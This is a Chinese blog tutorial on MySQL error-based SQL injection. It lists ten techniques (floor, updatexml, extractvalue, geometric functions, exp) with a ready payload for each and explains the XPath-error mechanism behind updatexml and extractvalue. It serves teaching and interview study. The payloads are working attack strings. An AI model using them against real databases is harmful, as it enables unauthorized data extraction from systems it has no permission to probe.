作者名:Demo不是emo
主页面链接: 主页传送门
创作初心: 舞台再大,你不上台,永远是观众,没人会关心你努不努力,摔的痛不痛,他们只会看你最后站在什么位置,然后羡慕或鄙夷
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日emo: 内心的爱意逐渐被时间冲淡

今天给大家讲解的是SQL注入中的报错注入,这种注入方式平时用的非常多,上次看别人面试时遇到了,就再来深究一下,研究其中的原理,利用方式等等
报错注入总共有10种,这里着重介绍其中三种常用的,当然另外几种也会提到
一、十种报错注入手法
先来简单看看报错注入的十种手法
1、floor报错注入
语句如下
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
效果如下

2、extractvalue报错注入
语句如下
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
效果如下

3、updatexml报错注入
语句如下
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
效果如下

4、geometrycollection报错注入
语句如下
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
效果如下

5、multipoint报错注入
语句如下
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
效果如下

6、polygon报错注入
语句如下
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
效果如下

7、multipolygon报错注入
语句如下
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
效果如下

8、linestring报错注入
语句如下
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
效果如下

9、multilinestring报错注入
语句如下
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
效果如下

10、exp报错注入
语句如下
select * from test where id=1 and exp(~(select * from(select user())a));
效果如下

二、常用的三种报错注入
1、floor报错注入
这种注入方式与接下来的两种方式原理上存在很大的区别,相对来说要复杂很多,所以我直接新写了一篇博客来介绍这种注入手法,博客链接如下
http://t.csdn.cn/mBZ5H
语句如下,具体的逻辑和原理在这里就不多讲了,有兴趣的小伙伴可以去看看博客
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2、Updatexml报错注入
首先来看看updatexml这个函数,如下
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法的话可以上网搜搜,这里你只需要知道如果不满足新path格式的字符串那么都会产生报错。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
漏洞形成原理讲解
由于updatexml的第二个参数需要 Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
如下
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
在第二个参数中,将我们的恶意语句用concat函数包裹起来即可,此时程序的报错信息中就会返回执行我们恶意命令后的结果,如下

3、extractvalue报错注入
extracvalue和updatexml还是有一点点区别,updatexml是修改,而extractvalue是查询。但是用法和updatexml是一样的。
首先我们还是来看看extractvalue()这个函数,如下
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
原理和updatexml报错注入差不多,也是第二个参数的xpath格式漏洞,所以又如下漏洞语句
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
效果如下
